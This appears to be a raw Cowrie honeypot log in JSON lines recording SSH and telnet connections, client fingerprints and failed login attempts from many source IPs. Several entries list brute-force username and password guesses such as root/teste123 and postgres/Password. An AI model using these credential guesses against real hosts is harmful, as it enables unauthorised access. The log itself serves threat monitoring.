{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:d2:52:00:f3:7f:b3:35:35:b7:75:1c:83:92:53:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyRgZ9RDItnGfoKRExXocfiWrV7kzDTiHhmCZ5tpZxssPVPLACzAcfLp8WY/UCHtPDkUXdaOjMulIv3drEEjAghlLmqhXfqEcwmkP1ussg1hHh1Vt8Cd3A7ePiQ6mas1lUroGmNP5d4XIWnKP8pXLLI/ljn1QtEFnnvbqTcttd7zvMy/asvQvt3behUskeBP/u7vgShBrPkLdn3mKA1qFT6RN42hS0g3CgUJWlWLcUSoo+VZg1gFYedCm4hV2DS2oKqEaNcLcltza3sYo7DZQeCbE7b4EA9k63PU0/neKLXiOJnYP4mNmFlPsaP33MzXuYWGSA2tG92Zpx0jGp89Q3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:03.720209Z","src_ip":"148.153.245.161","session":"e86d9035823e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:03.766767Z","src_ip":"148.153.245.161","session":"e86d9035823e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.6914644241333,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:18.477630Z","src_ip":"69.4.83.194","session":"5435be23beb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":37932,"dst_ip":"159.203.135.109","dst_port":22,"session":"073e77b94ccd","protocol":"ssh","message":"New connection: 210.90.155.178:37932 (159.203.135.109:22) [session: 073e77b94ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:20.221943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:20.234899Z","src_ip":"210.90.155.178","session":"073e77b94ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:20.457495Z","src_ip":"210.90.155.178","session":"073e77b94ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste123","message":"login attempt [root/teste123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:21.243562Z","src_ip":"210.90.155.178","session":"073e77b94ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:22.446546Z","src_ip":"210.90.155.178","session":"073e77b94ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.114.124.44","src_port":58772,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8c04a270712","protocol":"ssh","message":"New connection: 45.114.124.44:58772 (10.17.0.5:22) [session: a8c04a270712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:33.855870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:33.862167Z","src_ip":"45.114.124.44","session":"a8c04a270712","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:34.085070Z","src_ip":"45.114.124.44","session":"a8c04a270712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Password","message":"login attempt [postgres/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:35.006651Z","src_ip":"45.114.124.44","session":"a8c04a270712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:36.256581Z","src_ip":"45.114.124.44","session":"a8c04a270712","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":54534,"dst_ip":"10.17.0.5","dst_port":22,"session":"047960c84373","protocol":"ssh","message":"New connection: 46.19.67.181:54534 (10.17.0.5:22) [session: 047960c84373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:49.412737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:49.418098Z","src_ip":"46.19.67.181","session":"047960c84373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:49.533417Z","src_ip":"46.19.67.181","session":"047960c84373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321ewq321","message":"login attempt [root/321ewq321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:49.878063Z","src_ip":"46.19.67.181","session":"047960c84373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:50.995689Z","src_ip":"46.19.67.181","session":"047960c84373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":11826,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fcda5da9ac0","protocol":"ssh","message":"New connection: 220.247.224.226:11826 (10.17.0.5:22) [session: 9fcda5da9ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:05.287365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:05.297849Z","src_ip":"220.247.224.226","session":"9fcda5da9ac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:05.524678Z","src_ip":"220.247.224.226","session":"9fcda5da9ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd05","message":"login attempt [root/P@ssw0rd05] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:06.437401Z","src_ip":"220.247.224.226","session":"9fcda5da9ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:07.670511Z","src_ip":"220.247.224.226","session":"9fcda5da9ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00834846496582,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:15.323391Z","src_ip":"191.0.122.57","session":"3555186ff272","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00438451766968,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:17.949899Z","src_ip":"191.0.122.57","session":"dd851ec105a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.0.122.57","src_port":6642,"dst_ip":"159.203.135.109","dst_port":23,"session":"9686640ec5f5","protocol":"telnet","message":"New connection: 191.0.122.57:6642 (159.203.135.109:23) [session: 9686640ec5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:19.181877Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":52504,"dst_ip":"159.203.135.109","dst_port":22,"session":"c139a8836bd2","protocol":"ssh","message":"New connection: 109.237.96.109:52504 (159.203.135.109:22) [session: c139a8836bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:24.365432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:24.370745Z","src_ip":"109.237.96.109","session":"c139a8836bd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:24.461797Z","src_ip":"109.237.96.109","session":"c139a8836bd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cowboys","message":"login attempt [root/cowboys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:24.737785Z","src_ip":"109.237.96.109","session":"c139a8836bd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:25.831306Z","src_ip":"109.237.96.109","session":"c139a8836bd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":55002,"dst_ip":"159.203.135.109","dst_port":22,"session":"c73ac5fc7e95","protocol":"ssh","message":"New connection: 103.148.100.146:55002 (159.203.135.109:22) [session: c73ac5fc7e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:30.381817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:30.392570Z","src_ip":"103.148.100.146","session":"c73ac5fc7e95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:30.651713Z","src_ip":"103.148.100.146","session":"c73ac5fc7e95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":40608,"dst_ip":"10.17.0.5","dst_port":22,"session":"faedbda35666","protocol":"ssh","message":"New connection: 5.182.83.231:40608 (10.17.0.5:22) [session: faedbda35666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:31.630680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:31.636058Z","src_ip":"5.182.83.231","session":"faedbda35666","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Redhat","message":"login attempt [root/Redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:31.699468Z","src_ip":"103.148.100.146","session":"c73ac5fc7e95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:31.747852Z","src_ip":"5.182.83.231","session":"faedbda35666","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"auser","password":"123456","message":"login attempt [auser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:32.222908Z","src_ip":"5.182.83.231","session":"faedbda35666","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:32.968927Z","src_ip":"103.148.100.146","session":"c73ac5fc7e95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:33.337291Z","src_ip":"5.182.83.231","session":"faedbda35666","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":54480,"dst_ip":"10.17.0.5","dst_port":22,"session":"629bcc416c5f","protocol":"ssh","message":"New connection: 194.113.233.25:54480 (10.17.0.5:22) [session: 629bcc416c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:40.749084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:40.754112Z","src_ip":"194.113.233.25","session":"629bcc416c5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:11:40.848464Z","src_ip":"194.113.233.25","session":"629bcc416c5f","protocol":"ssh"}
